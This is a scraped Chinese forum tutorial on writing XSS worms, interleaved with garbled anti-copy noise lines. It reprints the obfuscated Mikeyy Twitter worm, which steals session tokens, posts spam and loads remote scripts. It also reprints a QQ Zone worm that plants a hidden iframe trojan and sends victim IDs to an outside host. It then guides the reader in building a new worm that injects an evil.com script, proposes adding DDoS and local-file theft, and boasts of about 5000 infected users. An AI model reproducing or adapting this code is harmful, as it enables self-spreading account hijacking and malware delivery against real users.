第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
2 n5 q, T& @% e9 V+ b9 n
   2.   

0 C: ]- [$ P5 ~+ G. b  A* F   3. function XHConn(){  
- Q, P; ?/ T, f
& p$ Q8 r% J) h* S8 n9 k, n- j   4.   var _0x6687x2,_0x6687x3=false;  
* H5 d( @0 [7 H$ ^: K
; _1 e) [4 [* F2 I   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

- Z0 @' t& q6 v+ h  c   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
" w- X+ v' C1 Y
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
" Z8 ]0 l* X8 R. F+ E& E7 h
   8.   catch(e) { _0x6687x2=false; }; }; };  
0 R7 }' U3 b" i复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

. O. U, S+ U6 ~4 z0 l% J   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

& U- ?' W9 h" H- M% E6 h/ t   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
/ H/ a$ y6 z. h2 c* E* t! j9 h
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
9 N! C  H) |3 k1 u
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

; _7 a* y: r3 A; A  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
0 z$ C% J3 d* i1 Y; X# ~- b! j
& T& @8 p! d" T2 n; q  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
6 K/ G: m8 X1 L; H3 N( e
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
! j( ]% Y8 r& X  k
9 w/ u+ t; q/ T8 q  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
" x" [4 P* d0 n7 ~( s) l- O! q
3 I& O! L# p2 \* z  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

6 {8 k" z; P& x2 g" x: }- g/ j  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
' N2 V+ f8 k3 y5 S" e' I
* m& k  m3 X, a. I7 s$ a% @' D* E  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
. A3 ~5 C& p$ F4 b
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

% R6 }% a9 b. R% K" b  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
% O- N  U+ y6 }/ z3 @2 Q$ f
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

3 N2 c) y% l$ x; F  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
+ `4 A+ F9 k5 N, X- C
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
0 P0 Y; \) O$ N" N
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
# f2 P7 T. K& c; z7 }0 `
  27.     
: \6 r' G, b; [" Y& O: {/ d
1 J+ S6 j4 O5 k; \  28.   var ajaxConn= new XHConn();  
, [8 k* g  Z: G  I* D& M
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
6 r/ U9 D& n" V
' B$ v' z' F( R. U2 s3 v  30.   var _0xf81bx1c="Mikeyy";  
0 f7 \5 v; S, |9 d
  31.   var updateEncode=urlencode(_0xf81bx1c);  
" ]# }' {8 J6 r0 T
  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
  K4 h( q1 _! \+ `8 Y0 [
- L) J* j0 S# o5 ~" @9 H- `- ~8 H  35.   var XSS=urlencode(genXSS);  
* O) i% E5 M! `9 E, n9 d6 w/ X! P
  36.   var ajaxConn2= new XHConn();  
; W- l% }# f% e6 r$ M8 K+ U8 B
# v. k  C. c$ K/ z; n9 z) j  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
# M* ~2 w( c/ u2 `' V
8 ?1 O" R* M  R4 R! A9 u, a9 k  38.     
2 ?+ Q* E5 p% P! X
9 b8 [6 p, A3 K. C' A8 I  39. } ;  

4 p# o+ c; t, s3 ]$ F* S2 c  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
. Y( [  N/ [+ d) v
! f+ b  L: t4 t' Q! s, Ywindow.onerror=killErrors;
1 w% p) ?3 Q$ N% d8 [


6 L7 q7 R8 t- Hvar shendu;shendu=4;
3 ]& N: G$ [( t! W& F# a" g; V$ ]
0 @7 w) X$ N. o6 s) z//---------------global---v------------------------------------------
$ M. q/ H* f/ r! h
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
  H4 o  ~$ N. d8 |0 u6 K' I) ^0 `
1 L. ?' r! `4 a: c2 N% j6 h; Hvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
/ ?7 S& L' e; e0 g. x+ H
1 k; {1 ~/ i# T/ Nvar myblogurl=new Array();var myblogid=new Array();
$ L) k/ ~* [4 ~) C3 ?- R1 Y
        var gurl=document.location.href;
( D. p! e: D7 e- g1 k
* M4 }$ q, R- O9 r        var gurle=gurl.indexOf("com/");

; a7 D- V& {$ X+ T) ^5 J9 w! N        gurl=gurl.substring(0,gurle+3);        

! x& h! ^$ `) z: d        var visitorID=top.document.documentElement.outerHTML;

4 N) L# ?  K6 o3 z/ t0 T; y1 m           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

( C+ t. Q8 [# F, B        cookieS=visitorID.indexOf(",");
* @/ s9 G$ G: U! ~# A; V7 u
3 B  M  C$ n; [) y% N& g4 ]& a        visitorID=visitorID.substring(0,cookieS);
! t. b, `" p6 U- D( ?
        get_my_blog(visitorID);

) q7 X$ e: L* ]& }3 w        DOshuamy();

6 E2 Z& B: I+ [5 ^  y( B5 k

: u* H3 b  _/ [//挂马
: l: ~1 n. Q0 G
3 P/ o  m  {9 Yfunction DOshuamy(){

! ^' d% R: r" Y, e  _; Qvar ssr=document.getElementById("veryTitle");

1 V! o, h4 h$ P9 {- u( @ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
7 X7 W! u3 ^8 I, H& ~
# [4 h; n% J0 a- t3 H" c}
7 r+ y# @8 n5 g, w' T' j


//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
0 W1 b, O3 X# e1 b/ J  n
function get_my_blog(visitorID){
6 d1 s* K7 u$ s0 q. c
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
/ d7 m( [+ r- T( e8 q& w
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

0 b0 p3 z( K; m1 x   if(xhr){    //成功就执行下面的

, m$ o' g' q6 B& R( D1 g; N     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

' w4 i9 e* E# _' W5 `* T     xhr.send();guest=xhr.responseText;
! T% h; [; |4 }- L$ }5 e
- v* Y+ ?; f! N: V8 A1 e4 P     get_my_blogurl(guest);    //执行这个函数
- ?0 r' f0 ^; ?8 C/ O
    }

( M  M& H: `, w}
& m8 q" k1 z1 @' g; P9 K

! Z! B2 O3 W& Q9 J4 V
/ Z& y# g& ^/ g//这里似乎是判断没有登录的
& C) }  N  K7 m( a2 C
6 M3 v" J9 Z4 s" p/ w" O) k+ {function get_my_blogurl(guest){

1 V2 H! x. K; Q3 h5 a2 U7 b  var mybloglist=guest;
. J$ `7 X  f. j" W
  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
' a- E' H9 c/ t! r% x
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

" `2 M" v( J+ p) w2 Q! k     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
! f6 r4 [) }* B* H% T4 t( f. m
5 i8 F/ b& O# i8 g( O; b* }         myurls=mybloglist.indexOf(')');

$ P/ S* |: F3 Y% @& K2 ^         myblogid=mybloglist.substring(0,myurls);

) d+ B' I: _8 c  t        }else{break;}
; M/ g3 h; w2 P) C9 c( `8 b! e
" }( M7 m' [" P% w7 o# T& I}

get_my_testself();    //执行这个函数
' i. _* M' o9 i& F
}
- X$ A/ h* `7 @  V
1 m4 u, e9 X" V* O# `3 H  N/ h9 _
; E# m, u# |& C' Y. [0 M7 {
//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
7 N; \2 ]6 x: i$ m& S
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
& w4 O' I, k2 |  \9 ^0 |
              xhr2.open("GET",url,false);     //打开上面的那个url
; _# N: I/ }% s8 h: b
              xhr2.send();

3 n9 c$ B% u" u1 u' Q: F1 L! K              guest2=xhr2.responseText;
  x6 X( G5 L/ A
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

4 L3 g4 ^9 o3 U" D" A$ Z# z              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

. [; q4 n( |% D, q. ^& ]              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
% [. m8 P+ N  A7 ]
                targetblogurlid=myblogid;   
" @/ t0 d0 Y) b* K
* D/ I, \* f# `) B( `6 N                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
' ^& |% J# @% V8 _. y- L: T4 u
4 v% Q/ G. S2 I0 c1 o/ [                break;
' n4 |+ h! A* w6 z, v
( e4 A2 d) F% ]" c$ p2 }/ k( }; [               }
- ^+ G! m$ L1 k* ^# t
( `3 c# S3 H1 H- p) ?) \2 {              if(mycheckit=="-1"){
7 W7 n- S: h# E
( C" s5 O) I4 U/ L; o( V                targetblogurlid=myblogid;
/ x( s! |- U" B" e: J
                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
7 w2 b7 M/ r! u7 c; m
6 e" }9 }3 H6 Y/ X* y; C0 a               }
) K  v# J2 E7 `2 T8 A
' ]% e6 k, r( F        }      

}

}
1 X$ N+ N+ ?( ?9 l" e+ Q6 ~
. u7 m: _% j1 Y/ d

//--------------------------------------  
- s( t' W; o4 f+ j' u" I
//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
7 F. w( I1 e$ F
0 c9 b- _/ o& f4 X' I    var XMLhttpObject=null;  
& ?$ }% Y1 J2 y3 E& K9 K+ s! \
! x' _1 Y3 r4 p9 ]4 w7 z7 q    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
8 y! ?. k( z& w# w; a4 _+ W+ M" q4 G
    else  
' H. _& c) A0 p; H
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

, T/ F3 N0 K) m        for(var i=0;i<MSXML.length;i++)  
  D. h  e* S7 i3 c) l
9 F# d. _* G6 _* u7 ~& n1 n& k        {  

            try  
( f! N: ]! y- ]9 x7 a; J
2 i, H3 N* E" e. d5 R) n) u: y            {  
0 O$ a8 K- v1 |- \3 I, R& J8 m, @+ U7 p
                XMLhttpObject=new ActiveXObject(MSXML);  
0 `( F; C5 K, o% _8 Q% `* ^
1 }- U+ i. A  c3 ?, C4 x1 c                break;  
4 A+ s7 X; W3 T& s! `
4 j1 q3 `3 O$ T: l, r            }  

3 w; m/ T. M2 t+ ~/ e            catch (ex) {  
/ B: G# H! m3 Z4 t# t$ g( }- n/ O
& x. T$ r( a9 E- g$ j            }  

         }  

) c! f% l" W& }      }
. X- d1 F% W4 A4 }
# A5 u- o7 v( g8 ~# M2 |' greturn XMLhttpObject;

  ?( H9 B) k8 X* V0 P}  

& _" t! u! y7 k0 P0 E2 U
+ |) \, d- ^& p5 F
2 P1 ]$ M, X, X5 R+ a6 m, Y//这里就是感染部分了
& _$ Y: c& w3 f; ^
0 f/ r8 \$ R4 l( \8 R. e: ffunction add_js(visitorID,targetblogurlid,gurl){

( g5 ]8 k! K: k, G5 `var s2=document.createElement('script');
; R: k% @8 O" Q9 j8 }- {
$ R+ u3 g/ L3 g  ^6 {; js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
# z) e  U! W+ p* ~- A0 P2 c
s2.type='text/javascript';

7 Y- R9 ^) e7 K& N5 ^# Y$ mdocument.getElementsByTagName('head').item(0).appendChild(s2);

}



' W0 \& z! C7 J" k) Q  Efunction add_jsdel(visitorID,targetblogurlid,gurl){
# T: W( |% G4 a# U* P
- Q+ |: e. l% P2 G& s3 gvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
1 S- q+ Q! u& i9 p
% A, M$ e) R4 o5 @& U7 k5 u$ a' idocument.getElementsByTagName('head').item(0).appendChild(s2);
5 J0 g" X9 o, U2 h9 h
3 {5 |0 {1 V, W) o) h, C* F}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
; w) x5 E0 v5 t2 f' K6 g% S1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

% n3 b; V* ?/ A$ t2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
. d& f! j* w. q: ?& s& a9 P: L
首先,自然是判断不同浏览器,创建不同的对象var request = false;

0 w1 V; M. B( w; @if(window.XMLHttpRequest) {
* W& x3 n# T; S" p# Q
request = new XMLHttpRequest();
, l. E$ t% t1 n. X- l# ^7 @0 Z
* J& H2 i3 f  z* Eif(request.overrideMimeType) {
- e. s5 R) Y' j! A: X4 C
request.overrideMimeType('text/xml');
& z. I& U7 ~/ Q  ^$ b* u5 F8 L
}

! x1 m* L7 K) o# _: ]4 U; \} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 q8 R# U3 O" S
6 G' O3 N* k9 Q, b* l# ^" Y+ Dfor(var i=0; i<versions.length; i++) {
4 K) Z* g" k! g, g6 ~1 W7 |
try {

. j( v! R. n, {0 u* ^. ]) U5 x( Trequest = new ActiveXObject(versions);
* P4 w3 J* e  z- a8 A$ y
$ n  n1 b9 d. S2 z. {} catch(e) {}

* F4 Q0 k2 n7 B6 c; P. e) h0 F}

, I7 V  B' u8 F8 ^6 i}

xmlHttpReq=request;
3 w1 ^* j; p' {- Q. P复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
9 C3 f; Y7 Z' X5 I+ G
        var Browser_Version=parseFloat(navigator.appVersion);

: y+ u: e  Y7 O, m8 g        var Browser_Agent=navigator.userAgent;

" \- O9 A8 q( H        

        var Actual_Version,Actual_Name;
0 }4 Z3 r' c0 j: C
        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");
# y, P9 v, y/ F) I
/ B/ p, P) R: t: h. u  q        var is_Ch=(Browser_Name=="Chrome");
2 ]- Z( m" L- |$ D$ \& l7 N
2 O6 N3 B4 d8 p" B  z        
' \3 \( R( q: G
" C7 W/ q4 t' }9 \        if(is_NN){
) f3 U0 d' m5 o. d+ n7 f0 a9 @5 `+ j
4 A) `/ c+ |# t& n& R            if(Browser_Version>=5.0){

) J/ F1 E6 s* l+ T                var Split_Sign=Browser_Agent.lastIndexOf("/");
/ |; |! U* ^; @3 h
, ~3 U; q( Q$ ?( R3 k! \                var Version=Browser_Agent.indexOf(" ",Split_Sign);
7 o& v3 o! f+ ]. Z
. q! S, i5 z& N" B% [3 A                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
. S: I" W& r8 |. @1 [. @
: ?1 x1 s; I9 m3 ]7 z1 k
. R. {% R7 S; H
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
6 @, D( T2 U$ b3 a
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

* j5 {2 b) h7 i1 M            }

/ X$ H) [8 ]9 k+ ~% E; `            else{
) M- Q% X6 H* h( Z* D
                Actual_Version=Browser_Version;

; S  l* J$ ?: ~                Actual_Name=Browser_Name;

            }
$ l5 b8 o! v+ C: o: }
& Z. x+ w& I) c- B        }

        else if(is_IE){

2 `. o3 ?) q* x' F; ?% F            var Version_Start=Browser_Agent.indexOf("MSIE");

! y6 z( I& W, s) z6 |  e            var Version_End=Browser_Agent.indexOf(";",Version_Start);

" V. E+ {0 x) y0 \            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

1 R7 k! E* S$ n' ?            Actual_Name=Browser_Name;
/ j5 V& j& ?; q' c* ]: U
+ S6 A) R( ?6 G4 T5 Q( V            
4 b* E1 ~# g4 Z, Y# m$ d
            if(Browser_Agent.indexOf("Maxthon")!=-1){

. n4 B" u/ \1 K4 H  @                Actual_Name+="(Maxthon)";
  B# Y" y) H! r& v; l
            }
9 }- k4 y! ]5 W( o1 s
0 z. S  N! F+ o$ O; K% L0 Q            else if(Browser_Agent.indexOf("Opera")!=-1){

' \  u( R) L: u& q                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

! P# F; O! f: ^                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
  Q) H% n6 L( w
            }
$ ?2 |7 |- i# |0 M6 q
: l  v5 n- K; Z5 Y4 L% f; ~" A0 R% J        }
) R3 [: O! g! ~. Q; i4 g
) v, n0 V7 @: U- J2 G1 D) ~. `, N        else if(is_Ch){

" m6 u2 M, B6 ?. a, y            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
; u4 J9 K% k* y: t0 U% D- @
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
" z6 S2 p. f' K% r0 }
* M/ L& J; z* ?/ g* T            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
* P. `, K) h0 c2 b
5 @5 [, B! {+ a# G" Y4 j            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

; c+ e: w. P. z: W                var tempstart=Browser_Agent.indexOf("Opera");
1 z; [' n' W- C( S" N5 \$ l
                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }
0 |. z2 {- B1 Q0 H
: [( i6 P; E3 e1 q5 B, L        else{

            Actual_Name="Unknown Navigator"

) e" Z8 F2 Q5 n$ x+ e$ F            Actual_Version="Unknown Version"
" F3 [2 _" I1 i) b
        }

" M9 `/ j  ^2 b, E! O5 q9 ?
9 ~& f4 V9 U0 A8 ~* D$ E; q
. H, j+ ?2 T8 `+ X- U        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

3 h; K$ ]7 P/ ]2 `* S: @        
* y9 ?% C+ Y5 c3 w1 h
        this.Name=Actual_Name;
) B& Q, _" M2 p4 Z4 ?$ o
        this.Version=Actual_Version;
/ X% f7 w9 d* P- l/ @
9 f, d+ L" |. v, }, m    }
- x, Z: F1 s+ i$ i; q' Y5 Y# V
3 ~: X- D' c8 |3 s8 x! }. p# Y    browserinfo();
. x  A/ |  q0 U+ U/ O
. m' F% l+ N5 J4 ~  ~- l- f6 [    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
3 Q% v5 O1 j1 j0 e& I, n
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
4 n" F. X& n2 F  f  h$ @( z: O
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
- |& d/ a5 {2 d' j% ]复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
: l+ E! p! Q' ~$ `9 ^% a9 f8 W2 e复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
! c* g- }, d& C6 X, f# q$ a复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
+ ]5 D: Z) @. E
xmlHttpReq.send(null);

/ v5 t8 G' x! z" {* p$ m1 z6 V6 Ovar resource = xmlHttpReq.responseText;
) P; d, n0 e9 b9 A3 ~; }: @. c2 D
3 y7 c3 x  q- e9 U, v" v" Vvar id=0;var result;

% O5 ~5 P/ @6 rvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

' Q- H& f0 U# M1 ]$ Zid++;
5 V6 ?9 y% S7 T! `/ N" m0 n1 A) T
}
- o8 n, ]: r3 O, K0 W+ d复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
4 T/ O: {7 Z/ U% n* u
var post="wd="+wd;
8 c6 t$ D! S! B8 V. J! T. _
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
" ^  o" n9 f5 N
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

. l9 v$ O& G# kvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

+ h  U+ O) l0 \( W! J: \/ R1 Tvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

6 z5 b8 c1 ?8 Vvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

4 Y! }- r' i! }+ avar post="wd="+wd;
' O+ U. h( q- M0 G
1 v' o8 y9 R$ r$ V/ q' yxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
" A  i, h; N6 a5 m7 o
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

/ @1 `" A8 e1 x. k) G6 cxmlHttpReq.setRequestHeader("content-length",post.length);

" ~. @) A9 C3 s7 R" txmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
& H4 \6 H0 W# F* T
) V* y9 Q* N  \; s7 k+ nxmlHttpReq.send(post);                 //把传播的信息 POST出去.
4 K- q& b- C' R: ~7 }2 m4 c
' n" d( z8 n7 w9 y& {0 A" s}
/ `6 E! ~$ Z5 a1 R复制代码-----------------------------------------------------总结-------------------------------------------------------------------



本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.



( a4 G) ]0 b% o2 S; [5 `




' d% I2 q* O  `% H1 k: ?本文引用文档资料:
1 _0 ~" t) S& B& Z* k
! |2 k* [4 l' l1 W( {! J"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
( r+ a; D, j2 l  g1 d: f) |4 J. P1 K% |Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
  a+ A- g4 R- ehttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
8 U6 E9 L/ J* g4 ?1 b% Q空虚浪子心BLOG http://www.inbreak.net
  X3 o( j) Z1 \Xeye Team http://xeye.us/
/ ?; f$ V& H6 [1 ]! h2 f